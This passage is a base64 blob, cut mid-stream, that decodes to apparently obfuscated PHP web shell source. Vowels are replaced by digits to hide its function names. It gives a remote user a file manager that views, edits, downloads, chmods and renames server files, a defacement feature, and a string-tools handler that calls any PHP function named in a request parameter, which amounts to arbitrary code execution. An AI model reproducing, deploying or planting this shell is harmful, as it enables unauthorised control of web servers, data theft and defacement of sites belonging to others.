4iXCIpJz5QNXJtNHNzNDJuczwvMT48L3RoPjx0aD5BY3Q0Mm5zPC90aD48L3RyPiI7DQogICAgJGQ0cnMgPSAkZjRsNXMgPSAkbDRua3MgPSAxcnIxeSgpOw0KICAgICRuID0gYzIzbnQoJGQ0ckMybnQ1bnQpOw0KICAgIGYycigkND0wOyQ0PCRuOyQ0KyspIHsNCiAgICAgICAgJDJ3ID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSk7DQogICAgICAgICRnciA9IEBwMnM0eF9nNXRncmc0ZChAZjRsNWdyMjNwKCRkNHJDMm50NW50WyQ0XSkpOw0KICAgICAgICAkdG1wID0gMXJyMXkoJ24xbTUnID0+ICRkNHJDMm50NW50WyQ0XSwNCiAgICAgICAgICAgICAgICAgICAgICdwMXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGQ0ckMybnQ1bnRbJDRdLA0KICAgICAgICAgICAgICAgICAgICAgJ20yZDRmeScgPT4gQGQxdDUoJ1ktbS1kIEg6NDpzJyxAZjRsNW10NG01KCRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0pKSwNCiAgICAgICAgICAgICAgICAgICAgICdwNXJtcycgPT4gdjQ1d1A1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksDQogICAgICAgICAgICAgICAgICAgICAnczR6NScgPT4gQGY0bDVzNHo1KCRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0pLA0KICAgICAgICAgICAgICAgICAgICAgJzJ3bjVyJyA9PiAkMndbJ24xbTUnXT8kMndbJ24xbTUnXTpAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSksDQogICAgICAgICAgICAgICAgICAgICAnZ3IyM3AnID0+ICRnclsnbjFtNSddPyRnclsnbjFtNSddOkBmNGw1Z3IyM3AoJGQ0ckMybnQ1bnRbJDRdKQ0KICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICA0ZihANHNfZjRsNSgkR0xPQkFMU1snY3dkJ10uJGQ0ckMybnQ1bnRbJDRdKSkNCiAgICAgICAgICAgICRmNGw1c1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdmNGw1JykpOw0KICAgICAgICA1bHM1NGYoQDRzX2w0bmsoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSkpDQogICAgICAgICAgICAkbDRua3NbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnbDRuaycpKTsNCiAgICAgICAgNWxzNTRmKEA0c19kNHIoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSkmJiAoJGQ0ckMybnQ1bnRbJDRdICE9ICIuIikpDQogICAgICAgICAgICAkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdkNHInKSk7DQogICAgfQ0KICAgICRHTE9CQUxTWydzMnJ0J10gPSAkczJydDsNCiAgICBmM25jdDQybiBjbXAoJDEsICRiKSB7DQogICAgICAgIDRmKCRHTE9CQUxTWydzMnJ0J11bMF0gIT0gJ3M0ejUnKQ0KICAgICAgICAgICAgcjV0M3JuIHN0cmNtcCgkMVskR0xPQkFMU1snczJydCddWzBdXSwgJGJbJEdMT0JBTFNbJ3MycnQnXVswXV0pKigkR0xPQkFMU1snczJydCddWzZdPzY6LTYpOw0KICAgICAgICA1bHM1DQogICAgICAgICAgICByNXQzcm4gKCgkMVsnczR6NSddIDwgJGJbJ3M0ejUnXSkgPyAtNiA6IDYpKigkR0xPQkFMU1snczJydCddWzZdPzY6LTYpOw0KICAgIH0NCiAgICAzczJydCgkZjRsNXMsICJjbXAiKTsNCiAgICAzczJydCgkZDRycywgImNtcCIpOw0KICAgIDNzMnJ0KCRsNG5rcywgImNtcCIpOw0KICAgICRmNGw1cyA9IDFycjF5X201cmc1KCRkNHJzLCAkbDRua3MsICRmNGw1cyk7DQogICAgJGwgPSAwOw0KICAgIGYycjUxY2goJGY0bDVzIDFzICRmKSB7DQogICAgICAgIDVjaDIgJzx0cicuKCRsPycgY2wxc3M9bDYnOicnKS4nPjx0ZD48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PSJmW10iIHYxbDM1PSInLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nIiBjbDFzcz1jaGtieD48L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iJy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/J2coXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd2NDV3XCcpIj4nLmh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSk6J2coXCdGNGw1c00xblwnLFwnJy4kZlsncDF0aCddLidcJyk7Ij48Yj5bICcuaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKS4nIF08L2I+JykuJzwvMT48L3RkPjx0ZD4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT92NDV3UzR6NSgkZlsnczR6NSddKTokZlsndHlwNSddKS4nPC90ZD48dGQ+Jy4kZlsnbTJkNGZ5J10uJzwvdGQ+PHRkPicuJGZbJzJ3bjVyJ10uJy8nLiRmWydncjIzcCddLic8L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLFwnY2htMmRcJykiPicuJGZbJ3A1cm1zJ10NCiAgICAgICAgICAgIC4nPC90ZD48dGQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3I1bjFtNVwnKSI+UjwvMT4gPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3QyM2NoXCcpIj5UPC8xPicuKCgkZlsndHlwNSddPT0nZjRsNScpPycgPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJzVkNHRcJykiPkU8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdkMndubDIxZFwnKSI+RDwvMT4nOicnKS4nPC90ZD48L3RyPic7DQogICAgICAgICRsID0gJGw/MDo2Ow0KICAgIH0NCiAgICA1Y2gyICc8dHI+PHRkIGMybHNwMW49aT4NCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PVwnRjRsNXNNMW5cJz4NCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4NCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSInLig0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpLiciPg0KICAgIDxzNWw1Y3QgbjFtNT1cJ3A2XCc+PDJwdDQybiB2MWwzNT1cJ2MycHlcJz5DMnB5PC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1cJ20ydjVcJz5NMnY1PC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1cJ2Q1bDV0NVwnPkQ1bDV0NTwvMnB0NDJuPic7DQogICAgNGYoITVtcHR5KCRfU0VTU0lPTlsnMWN0J10pJiZAYzIzbnQoJF9TRVNTSU9OWydmJ10pKXs1Y2gyICc8MnB0NDJuIHYxbDM1PVwncDFzdDVcJz5QMXN0NTwvMnB0NDJuPic7IH0NCiAgICA1Y2gyICc8L3M1bDVjdD4mbmJzcDs8NG5wM3QgdHlwNT0iczNibTR0IiB2MWwzNT0iPj4iPjwvdGQ+PHRkIGMybHNwMW49ImEiIDFsNGduPSJyNGdodCIgdzRkdGg9IjYiPjw0bnAzdCBuMW01PSJkNWYiIDRkPSJkNWYiIHYxbDM1PSI0bmQ1eC5waHAiIHM0ejU9IjYwIi8+Jm5ic3A7PDRucDN0IHR5cDU9ImIzdHQybiIgMm5jbDRjaz0iZyhcJ0Y0bDVzTTFuXCcsXCcnLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4nXCcsXCdkNWYxYzVcJyxkMmMzbTVudC5nNXRFbDVtNW50QnlJZChcJ2Q1ZlwnKS52MWwzNSkiIHYxbDM1PSJBZGQgeTIzciBENWYxYzUiPjwvdGQ+PC90cj4NCiAgICA8L2Yycm0+PC90MWJsNT48L2Q0dj4nOw0KICAgIHByNG50RjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblN0cjRuZ1QyMmxzKCkgew0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ2g1eGFiNG4nKSkge2YzbmN0NDJuIGg1eGFiNG4oJHApIHtyNXQzcm4gZDVjYjRuKGg1eGQ1YygkcCkpO319DQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YTFzYzQ0JykpIHtmM25jdDQybiBoNXhhMXNjNDQoJHApeyRyPScnO2YycigkND0wOyQ0PHN0ckw1bigkcCk7JDQrPWEpeyRyLj1jaHIoaDV4ZDVjKCRwWyQ0XS4kcFskNCs2XSkpO31yNXQzcm4gJHI7fX0NCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCcxc2M0NGFoNXgnKSkge2YzbmN0NDJuIDFzYzQ0YWg1eCgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RybDVuKCRwKTsrKyQ0KSRyLj0gZDVjaDV4KDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdmM2xsXzNybDVuYzJkNScpKSB7ZjNuY3Q0Mm4gZjNsbF8zcmw1bmMyZDUoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49ICclJy5kNWNoNXgoMnJkKCRwWyQ0XSkpO3I1dDNybiBzdHJ0MjNwcDVyKCRyKTt9fQ0KICAgIA0KICAgIDRmKDRzczV0KCRfUE9TVFsnMWoxeCddKSkgew0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXSA9IHRyMzU7DQogICAgICAgIDJiX3N0MXJ0KCk7DQogICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygkX1BPU1RbJ3A2J10pKQ0KICAgICAgICAgICAgNWNoMiAkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKTsNCiAgICAgICAgJHQ1bXAgPSAiZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ3N0ck8zdHAzdCcpLnN0eWw1LmQ0c3BsMXk9Jyc7ZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ3N0ck8zdHAzdCcpLjRubjVySFRNTD0nIi4xZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7DQogICAgICAgIDVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQogICAgICAgIDV4NHQ7DQogICAgfQ0KICAgIHByNG50SDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PlN0cjRuZyBjMm52NXJzNDJuczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQogICAgJHN0cjRuZ1QyMmxzID0gMXJyMXkoDQogICAgICAgICdCMXM1ZXUgNW5jMmQ1JyA9PiAnYjFzNWV1XzVuYzJkNScsDQogICAgICAgICdCMXM1ZXUgZDVjMmQ1JyA9PiAnYjFzNWV1X2Q1YzJkNScsDQogICAgICAgICdVcmwgNW5jMmQ1JyA9PiAnM3JsNW5jMmQ1JywNCiAgICAgICAgJ1VybCBkNWMyZDUnID0+ICczcmxkNWMyZDUnLA0KICAgICAgICAnRjNsbCAzcmw1bmMyZDUnID0+ICdmM2xsXzNybDVuYzJkNScsDQogICAgICAgICdtZGkgaDFzaCcgPT4gJ21kaScsDQogICAgICAgICdzaDE2IGgxc2gnID0+ICdzaDE2JywNCiAgICAgICAgJ2NyeXB0JyA9PiAnY3J5cHQnLA0KICAgICAgICAnQ1JDb2EnID0+ICdjcmNvYScsDQogICAgICAgICdBU0NJSSB0MiBIRVgnID0+ICcxc2M0NGFoNXgnLA0KICAgICAgICAnSEVYIHQyIEFTQ0lJJyA9PiAnaDV4YTFzYzQ0JywNCiAgICAgICAgJ0hFWCB0MiBERUMnID0+ICdoNXhkNWMnLA0KICAgICAgICAnSEVYIHQyIEJJTicgPT4gJ2g1eGFiNG4nLA0KICAgICAgICAnREVDIHQyIEhFWCcgPT4gJ2Q1Y2g1eCcsDQogICAgICAgICdERUMgdDIgQklOJyA9PiAnZDVjYjRuJywNCiAgICAgICAgJ0JJTiB0MiBIRVgnID0+ICdiNG5haDV4JywNCiAgICAgICAgJ0JJTiB0MiBERUMnID0+ICdiNG5kNWMnLCAgICAgICAgDQogICAgICAgICdTdHI0bmcgdDIgbDJ3NXIgYzFzNScgPT4gJ3N0cnQybDJ3NXInLA0KICAgICAgICAnU3RyNG5nIHQyIDNwcDVyIGMxczUnID0+ICdzdHJ0MjNwcDVyJywNCiAgICAgICAgJ0h0bWxzcDVjNDFsY2gxcnMnID0+ICdodG1sc3A1YzQxbGNoMXJzJywNCiAgICAgICAgJ1N0cjRuZyBsNW5ndGgnID0+ICdzdHJsNW4nLA0KICAgICk7DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICI8ZjJybSBuMW01PSd0MjJsc0Yycm0nIDJuUzNibTR0PSc0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5zNWw1Y3RUMjJsLnYxbDM1LHRoNHMuNG5wM3QudjFsMzUpO301bHM1e2cobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9IHI1dDNybiBmMWxzNTsnPjxzNWw1Y3QgbjFtNT0nczVsNWN0VDIybCc+IjsNCiAgICBmMnI1MWNoKCRzdHI0bmdUMjJscyAxcyAkayA9PiAkdikNCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOw0KICAgICAgICA1Y2gyICI8L3M1bDVjdD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nLz4gPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgIi4oJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4iPiBzNW5kIDNzNG5nIEFKQVg8YnI+PHQ1eHQxcjUxIG4xbTU9JzRucDN0JyBzdHlsNT0nbTFyZzRuLXQycDppcHgnIGNsMXNzPWI0ZzFyNTE+Ii5odG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJ3BhJ10pLiI8L3Q1eHQxcjUxPjwvZjJybT48cHI1IGNsMXNzPSdtbDYnIHN0eWw1PSciLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuIm0xcmc0bi10MnA6aXB4JyA0ZD0nc3RyTzN0cDN0Jz4iOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygkX1BPU1RbJ3A2J10pKQ0KICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKCRfUE9TVFsncGEnXSkpOw0KICAgIH0NCiAgICA1Y2gyIjwvcHI1PjwvZDR2PiI7DQogICAgcHI0bnRGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuRjRsNXNUMjJscygpIHsNCiAgICA0ZiggNHNzNXQoJF9QT1NUWydwNiddKSApDQogICAgICAgICRfUE9TVFsncDYnXSA9IDNybGQ1YzJkNSgkX1BPU1RbJ3A2J10pOw0KICAgIDRmKEAkX1BPU1RbJ3BhJ109PSdkMndubDIxZCcpIHsNCiAgICAgICAgNGYoNHNfZjRsNSgkX1BPU1RbJ3A2J10pICYmIDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgICAgIDJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsNCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9Ii5iMXM1bjFtNSgkX1BPU1RbJ3A2J10pKTsNCiAgICAgICAgICAgIDRmIChmM25jdDQybl81eDRzdHMoIm00bTVfYzJudDVudF90eXA1IikpIHsNCiAgICAgICAgICAgICAgICAkdHlwNSA9IEBtNG01X2MybnQ1bnRfdHlwNSgkX1BPU1RbJ3A2J10pOw0KICAgICAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1UeXA1OiAiLiR0eXA1KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICJyIik7DQogICAgICAgICAgICA0ZigkZnApIHsNCiAgICAgICAgICAgICAgICB3aDRsNSghQGY1MmYoJGZwKSkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiBAZnI1MWQoJGZwLCA2MGF1KTsNCiAgICAgICAgICAgICAgICBmY2wyczUoJGZwKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1NGYoNHNfZDRyKCRfUE9TVFsncDYnXSkgJiYgNHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSkgew0KDQogICAgICAgIH0NCiAgICAgICAgNXg0dDsNCiAgICB9DQogICAgNGYoIEAkX1BPU1RbJ3BhJ10gPT0gJ21rZjRsNScgKSB7DQogICAgICAgIDRmKCFmNGw1XzV4NHN0cygkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgICAgICAkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAndycpOw0KICAgICAgICAgICAgNGYoJGZwKSB7DQogICAgICAgICAgICAgICAgJF9QT1NUWydwYSddID0gIjVkNHQiOw0KICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIHByNG50SDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PkY0bDUgdDIybHM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KICAgIDRmKCAhZjRsNV81eDRzdHMoQCRfUE9TVFsncDYnXSkgKSB7DQogICAgICAgIDVjaDIgJ0Y0bDUgbjJ0IDV4NHN0cyc7DQogICAgICAgIHByNG50RjIydDVyKCk7DQogICAgICAgIHI1dDNybjsNCiAgICB9DQogICAgJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZChAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSkpOw0KICAgICRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDUyd241cigkX1BPU1RbJ3A2J10pKTsNCiAgICA1Y2gyICc8c3Axbj5OMW01Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSkuJyA8c3Axbj5TNHo1Ojwvc3Axbj4gJy4oNHNfZjRsNSgkX1BPU1RbJ3A2J10pP3Y0NXdTNHo1KGY0bDVzNHo1KCRfUE9TVFsncDYnXSkpOictJykuJyA8c3Axbj5QNXJtNHNzNDJuOjwvc3Axbj4gJy52NDV3UDVybXNDMmwycigkX1BPU1RbJ3A2J10pLicgPHNwMW4+T3duNXIvR3IyM3A6PC9zcDFuPiAnLiQzNGRbJ24xbTUnXS4nLycuJGc0ZFsnbjFtNSddLic8YnI+JzsNCiAgICA1Y2gyICc8c3Axbj5DcjUxdDUgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVjdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPkFjYzVzcyB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNTF0NG01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+TTJkNGZ5IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJzxicj48YnI+JzsNCiAgICA0ZiggNW1wdHkoJF9QT1NUWydwYSddKSApDQogICAgICAgICRfUE9TVFsncGEnXSA9ICd2NDV3JzsNCiAgICA0ZiggNHNfZjRsNSgkX1BPU1RbJ3A2J10pICkNCiAgICAgICAgJG0gPSAxcnIxeSgnVjQ1dycsICdINGdobDRnaHQnLCAnRDJ3bmwyMWQnLCAnSDV4ZDNtcCcsICdFZDR0JywgJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KICAgIDVsczUNCiAgICAgICAgJG0gPSAxcnIxeSgnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7DQogICAgZjJyNTFjaCgkbSAxcyAkdikNCiAgICAgICAgNWNoMiAnPDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLG4zbGwsXCcnLnN0cnQybDJ3NXIoJHYpLidcJykiPicuKChzdHJ0MmwydzVyKCR2KT09QCRfUE9TVFsncGEnXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvMT4gJzsNCiAgICA1Y2gyICc8YnI+PGJyPic7DQogICAgc3c0dGNoKCRfUE9TVFsncGEnXSkgew0KICAgICAgICBjMXM1ICd2NDV3JzoNCiAgICAgICAgICAgIDVjaDIgJzxwcjUgY2wxc3M9bWw2Pic7DQogICAgICAgICAgICAkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOw0KICAgICAgICAgICAgNGYoJGZwKSB7DQogICAgICAgICAgICAgICAgd2g0bDUoICFAZjUyZigkZnApICkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsNCiAgICAgICAgICAgICAgICBAZmNsMnM1KCRmcCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1Y2gyICc8L3ByNT4nOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgJ2g0Z2hsNGdodCc6DQogICAgICAgICAgICA0ZiggNHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSApIHsNCiAgICAgICAgICAgICAgICA1Y2gyICc8ZDR2IGNsMXNzPW1sNiBzdHlsNT0iYjFja2dyMjNuZC1jMmwycjogYmwxY2s7YzJsMnI6YmwxY2s7Ij4nOw0KICAgICAgICAgICAgICAgICRjMmQ1ID0gaDRnaGw0Z2h0X2Y0bDUoJF9QT1NUWydwNiddLHRyMzUpOw0KICAgICAgICAgICAgICAgIDVjaDIgc3RyX3I1cGwxYzUoMXJyMXkoJzxzcDFuICcsJzwvc3Axbj4nKSwgMXJyMXkoJzxmMm50ICcsJzwvZjJudD4nKSwkYzJkNSkuJzwvZDR2Pic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAnY2htMmQnOg0KICAgICAgICAgICAgNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KICAgICAgICAgICAgICAgICRwNXJtcyA9IDA7DQogICAgICAgICAgICAgICAgZjJyKCQ0PXN0cmw1bigkX1BPU1RbJ3BvJ10pLTY7JDQ+PTA7LS0kNCkNCiAgICAgICAgICAgICAgICAgICAgJHA1cm1zICs9ICg0bnQpJF9QT1NUWydwbyddWyQ0XSpwMncoOCwgKHN0cmw1bigkX1BPU1RbJ3BvJ10pLSQ0LTYpKTsNCiAgICAgICAgICAgICAgICA0ZighQGNobTJkKCRfUE9TVFsncDYnXSwgJHA1cm1zKSkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAnQzFuXCd0IHM1dCBwNXJtNHNzNDJucyE8YnI+PHNjcjRwdD5kMmMzbTVudC5tZi5wby52MWwzNT0iIjs8L3NjcjRwdD4nOw0KICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgZDQ1KCc8c2NyNHB0PmcobjNsbCxuM2xsLG4zbGwsbjNsbCwiIik8L3NjcjRwdD4nKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsdGg0cy5jaG0yZC52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PDRucDN0IHR5cDU9dDV4dCBuMW01PWNobTJkIHYxbDM1PSInLnMzYnN0cihzcHI0bnRmKCclMicsIGY0bDVwNXJtcygkX1BPU1RbJ3A2J10pKSwtdSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAnNWQ0dCc6DQogICAgICAgICAgICA0ZiggITRzX3dyNHQxYmw1KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgICAgICAgICA1Y2gyICdGNGw1IDRzblwndCB3cjR0NTFibDUnOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KICAgICAgICAgICAgICAgIEBmNGw1X3AzdF9jMm50NW50cygkX1BPU1RbJ3A2J10sJF9QT1NUWydwbyddKTsNCiAgICAgICAgICAgICAgICA1Y2gyICdTMXY1ZCE8YnI+PHNjcjRwdD5kMmMzbTVudC5tZi5wby52MWwzNT0iIjs8L3NjcjRwdD4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLnQ1eHQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PXQ1eHQgY2wxc3M9YjRnMXI1MT4nOw0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCiAgICAgICAgICAgIDRmKCRmcCkgew0KICAgICAgICAgICAgICAgIHdoNGw1KCAhQGY1MmYoJGZwKSApDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQogICAgICAgICAgICAgICAgQGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAnPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICdoNXhkM21wJzoNCiAgICAgICAgICAgICRjID0gQGY0bDVfZzV0X2MybnQ1bnRzKCRfUE9TVFsncDYnXSk7DQogICAgICAgICAgICAkbiA9IDA7DQogICAgICAgICAgICAkaCA9IDFycjF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCiAgICAgICAgICAgICRsNW4gPSBzdHJsNW4oJGMpOw0KICAgICAgICAgICAgZjJyICgkND0wOyAkNDwkbDVuOyArKyQ0KSB7DQogICAgICAgICAgICAgICAgJGhbNl0gLj0gc3ByNG50ZignJTBhWCcsMnJkKCRjWyQ0XSkpLicgJzsNCiAgICAgICAgICAgICAgICBzdzR0Y2ggKCAycmQoJGNbJDRdKSApIHsNCiAgICAgICAgICAgICAgICAgICAgYzFzNSAwOiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgYzFzNSA5OiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgYzFzNSA2MDogJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgYzFzNSA2bzogJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgZDVmMTNsdDogJGhbYV0gLj0gJGNbJDRdOyBicjUxazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJG4rKzsNCiAgICAgICAgICAgICAgICA0ZiAoJG4gPT0gb2EpIHsNCiAgICAgICAgICAgICAgICAgICAgJG4gPSAwOw0KICAgICAgICAgICAgICAgICAgICA0ZiAoJDQrNiA8ICRsNW4pIHskaFswXSAuPSBzcHI0bnRmKCclMDhYJywkNCs2KS4nPGJyPic7fQ0KICAgICAgICAgICAgICAgICAgICAkaFs2XSAuPSAnPGJyPic7DQogICAgICAgICAgI